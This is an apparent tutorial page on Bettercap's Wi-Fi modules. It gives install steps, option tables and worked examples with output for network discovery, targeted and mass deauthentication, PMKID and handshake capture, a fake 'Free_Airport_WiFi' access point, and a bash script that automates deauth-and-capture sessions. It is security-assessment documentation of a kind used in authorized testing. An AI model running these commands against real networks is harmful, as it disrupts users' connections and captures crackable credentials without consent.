Bettercap is a powerful, modular, and extensible framework for network reconnaissance and attack, written in Go. While it is best known for wired/Wi-Fi man-in-the-middle (MITM) attacks such as ARP spoofing, it also includes a dedicated 802.11 (Wi-Fi) module capable of network discovery, deauthentication, handshake/PMKID capture, and rogue access point creation — effectively overlapping with and, in some workflows, replacing parts of the Aircrack-ng suite with a more modern, scriptable interface.
Key capabilities relevant to wireless security:
- wifi.recon — passive/active discovery of nearby access points and associated clients.
- wifi.deauth — targeted or broadcast deauthentication to force reconnections.
- wifi.assoc — association-request based PMKID capture, which can trigger some routers to leak the PMKID without any connected client.
- wifi.ap — creation of rogue/fake access points.
- Support for a Lua-based scripting engine (caplets), allowing complex automated attack chains.
- A REST API and web UI for remote control and dashboarding.
- Modules extending beyond Wi-Fi: ARP spoofing, DNS spoofing, HTTP/HTTPS proxying, BLE (Bluetooth Low Energy) attacks, and packet sniffing — making it a genuinely all-in-one network attack platform.
How to Install
Bettercap is pre-installed on Kali Linux. Verify with:
bettercap -version
Expected output:
$ bettercap -version
bettercap v2.32.0 (built for linux amd64 with go1.21.5)
If missing, install via apt:
sudo apt update
sudo apt install bettercap -y
Installing from source (requires Go):
sudo apt install golang-go libnetfilter-queue-dev libpcap-dev -y
go install github.com/bettercap/bettercap@latest
Install/update caplets (community attack scripts):
sudo apt install bettercap-caplets -y
# Or manually:
git clone https://github.com/bettercap/caplets.git
cd caplets
sudo make install
Syntax
bettercap [options]
Bettercap drops into an interactive shell (>>) where modules and commands are entered:
bettercap -iface <interface>
>> <module>.<command> [args]
It can also run non-interactively with a caplet script:
bettercap -iface <interface> -caplet <file.cap>
All Command-Line Options
| Option | Description |
|---|---|
-iface <if> | Network interface to bind to |
-caplet <file> | Run a caplet script on startup |
-eval <cmds> | Run semicolon-separated commands on startup |
-no-colors | Disable colored terminal output |
-debug | Enable debug-level logging |
-silent | Suppress startup banner/logs |
-api <addr> | Enable REST API on given address |
-http-proxy | Enable HTTP proxy module at start |
-https-proxy | Enable HTTPS proxy module at start |
-gateway <ip> | Manually specify gateway IP |
-cpu-profile <file> | Write CPU profiling data |
-mem-profile <file> | Write memory profiling data |
-version | Show version info |
-help | Show help |
Key interactive Wi-Fi module commands (used inside the >> shell):
| Command | Description |
|---|---|
wifi.recon on/off | Start/stop Wi-Fi scanning |
wifi.show | Display discovered APs/clients table |
wifi.show.wps <bssid> | Show WPS info for a target |
wifi.deauth <bssid/all> | Deauth clients from an AP (or all seen APs) |
wifi.assoc <bssid/all> | Send association requests to capture PMKID |
wifi.ap | Start a fake access point (uses set wifi.ap.ssid etc. first) |
wifi.recon.channel <ch> | Lock scanning to specific channel(s) |
wifi.recon.clear | Clear discovered device cache |
set wifi.deauth.skip <macs> | Exclude MACs from deauth |
set wifi.handshakes.file <path> | Set output path for captured handshakes |
events.stream on | Show live event stream (captures, associations, etc.) |
net.probe on | Actively probe for hosts on the current network |
set arp.spoof.targets <ip> | Configure ARP spoof targets |
arp.spoof on | Start ARP spoofing (post-association MITM) |
Basic Usage (Expected Output in Bash)
$ sudo bettercap -iface wlan0mon
bettercap v2.32.0 (type 'help' for a list of commands)
wlan0mon » wifi.recon on
[10:50:11] [wifi.ap.new] new AP HomeLab_5G detected as AA:BB:CC:DD:EE:01 (channel 6)
[10:50:12] [wifi.client.new] new client 11:22:33:44:55:66 detected for HomeLab_5G
wlan0mon » wifi.show
┌───────────────┬───────────────────┬─────┬──────┬──────┬───────────┐
│ SSID │ BSSID │ CH │ ENCR │ RSSI │ CLIENTS │
├───────────────┼───────────────────┼─────┼──────┼──────┼───────────┤
│ HomeLab_5G │ AA:BB:CC:DD:EE:01 │ 6 │ WPA2 │ -42 │ 1 │
└───────────────┴───────────────────┴─────┴──────┴──────┴───────────┘
Practical Examples with Output
Example 1: Passive/active recon of all nearby networks
wlan0mon » wifi.recon on
wlan0mon » wifi.show
SSID BSSID CH ENCR RSSI CLIENTS
------------- ----------------- -- ---- ---- -------
HomeLab_5G AA:BB:CC:DD:EE:01 6 WPA2 -42 1
Office_Guest AA:BB:CC:DD:EE:02 11 WPA2 -61 0
Example 2: Targeted deauthentication attack
wlan0mon » wifi.deauth AA:BB:CC:DD:EE:01
[10:52:03] [wifi.deauth] deauthenticating client 11:22:33:44:55:66 from AP AA:BB:CC:DD:EE:01
[10:52:04] [wifi.handshake.captured] captured new handshake for HomeLab_5G (AA:BB:CC:DD:EE:01)
Example 3: PMKID capture via association attack (no client needed)
wlan0mon » set wifi.handshakes.file /home/user/handshakes.pcap
wlan0mon » wifi.assoc AA:BB:CC:DD:EE:01
[10:53:10] [wifi.client.assoc] sent association request to AA:BB:CC:DD:EE:01
[10:53:11] [wifi.ap.pmkid] captured PMKID for HomeLab_5G (AA:BB:CC:DD:EE:01)
Example 4: Deauth all visible clients across all APs
wlan0mon » wifi.deauth all
[10:54:00] [wifi.deauth] deauthenticating all clients on all visible networks
[10:54:02] [wifi.handshake.captured] captured new handshake for Office_Guest (AA:BB:CC:DD:EE:02)
Example 5: Locking recon to a specific channel
wlan0mon » wifi.recon.channel 6
[10:55:00] [wifi.recon.channel] locked channel hopping to: 6
Example 6: Creating a rogue access point
wlan0mon » set wifi.ap.ssid "Free_Airport_WiFi"
wlan0mon » set wifi.ap.bssid aa:bb:cc:11:22:33
wlan0mon » set wifi.ap.channel 6
wlan0mon » wifi.ap on
[10:56:12] [wifi.ap] started fake access point 'Free_Airport_WiFi' on channel 6
Example 7: Running a caplet for a full automated attack chain
$ sudo bettercap -iface wlan0mon -caplet wifi_handshake_hunt.cap
[10:58:00] [caplet] wifi_handshake_hunt.cap loaded
[10:58:00] [wifi.recon] scanning started
[10:58:20] [wifi.deauth] targeting all discovered APs with clients
[10:58:35] [wifi.handshake.captured] captured new handshake for HomeLab_5G
Example 8: Excluding specific clients from deauth (whitelist)
wlan0mon » set wifi.deauth.skip 11:22:33:44:55:99
wlan0mon » wifi.deauth AA:BB:CC:DD:EE:01
[10:59:10] [wifi.deauth] skipping excluded MAC 11:22:33:44:55:99
[10:59:11] [wifi.deauth] deauthenticating client 11:22:33:44:55:66
Example 9: Viewing the live event stream
wlan0mon » events.stream on
[11:00:01] [wifi.client.probe] client 11:22:33:44:55:66 probing for 'HomeCoffee'
[11:00:04] [wifi.ap.new] new AP LabAP3 detected as AA:BB:CC:DD:EE:05
Example 10: Using the REST API for remote control
$ sudo bettercap -iface wlan0mon -api 127.0.0.1:8081 -eval "api.rest on"
[11:01:00] [api.rest] REST API listening on 127.0.0.1:8081
$ curl -s -u user:pass http://127.0.0.1:8081/api/session | jq '.wifi.aps[].hostname'
"HomeLab_5G"
"Office_Guest"
Common Use Cases
- All-in-one recon-to-capture workflow for Wi-Fi assessments without switching between multiple Aircrack-ng tools.
- Clientless PMKID capture via
wifi.assoc, useful against APs where no clients are currently connected to deauth. - Rogue AP / evil twin testing to evaluate how clients and users respond to spoofed network names.
- Scripted, repeatable attack chains using caplets for consistent testing across multiple engagements.
- Combined wireless + MITM engagements — after gaining wireless access, pivoting directly into ARP spoofing, DNS spoofing, and HTTP(S) proxy modules within the same tool.
- Remote/headless operation via the REST API and web UI for dashboard-driven engagements or integration with custom tooling.
Automation with Bash
#!/bin/bash
# bettercap_wifi_hunt.sh - Automated handshake/PMKID hunting session
# Usage: sudo ./bettercap_wifi_hunt.sh <interface> <duration_seconds>
IFACE=$1
DURATION=${2:-120}
OUTDIR="./bettercap_session_$(date +%Y%m%d_%H%M%S)"
CAPLET="$OUTDIR/hunt.cap"
if [[ -z "$IFACE" ]]; then
echo "Usage: sudo $0 <interface> [duration_seconds]"
exit 1
fi
mkdir -p "$OUTDIR"
cat > "$CAPLET" << EOF
set wifi.handshakes.file $OUTDIR/handshakes.pcap
wifi.recon on
sleep 10
wifi.assoc all
sleep 5
wifi.deauth all
sleep $DURATION
wifi.recon off
q
EOF
echo "[*] Starting Bettercap Wi-Fi hunt for ${DURATION}s..."
sudo bettercap -iface "$IFACE" -caplet "$CAPLET" -no-colors | tee "$OUTDIR/session.log"
echo "[*] Session complete. Handshakes/PMKIDs saved to $OUTDIR/handshakes.pcap"
Tips and Best Practices
- Try
wifi.assoc(PMKID capture) beforewifi.deauth— it’s less disruptive since it doesn’t require kicking a client off the network, and many home routers are vulnerable to it. - Use
wifi.recon.channelto lock onto your target’s channel once identified; this significantly improves capture reliability versus full-spectrum hopping. - Save caplets for repeatable, standardized attack sequences across engagements — this also improves reporting consistency.
- Use
set wifi.deauth.skipto exclude critical infrastructure devices (e.g., known medical or safety equipment) from deauth during an authorized engagement, per your rules of engagement. - Enable the REST API only on
127.0.0.1or a secured interface — exposing it broadly creates a significant security risk on its own. - Combine Bettercap’s Wi-Fi capture output directly with
hcxpcapngtool(11.8) for Hashcat-ready hash conversion.
Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| “Could not start wifi recon: operation not permitted” | Interface not in monitor mode or insufficient permissions | Run with sudo, verify monitor mode via airmon-ng |
No APs showing in wifi.show | Recon not started, or interface stuck on one channel | Run wifi.recon on, check wifi.recon.channel setting |
| Deauth not producing handshakes | No clients connected, out of range | Try wifi.assoc for PMKID instead, verify target has active clients |
| REST API unreachable | API not enabled, or bound to wrong interface | Verify -api flag/address, check firewall rules |
| Caplet fails to load | Syntax error in .cap file | Validate caplet syntax, run commands manually first to test |
| High CPU usage during full recon | Too many nearby networks + full logging | Use wifi.recon.channel to reduce scope |
References
- Official Bettercap documentation: https://www.bettercap.org/
- Bettercap GitHub repository: https://github.com/bettercap/bettercap
- Bettercap Caplets repository: https://github.com/bettercap/caplets
- Kali Linux Tools listing: https://www.kali.org/tools/bettercap/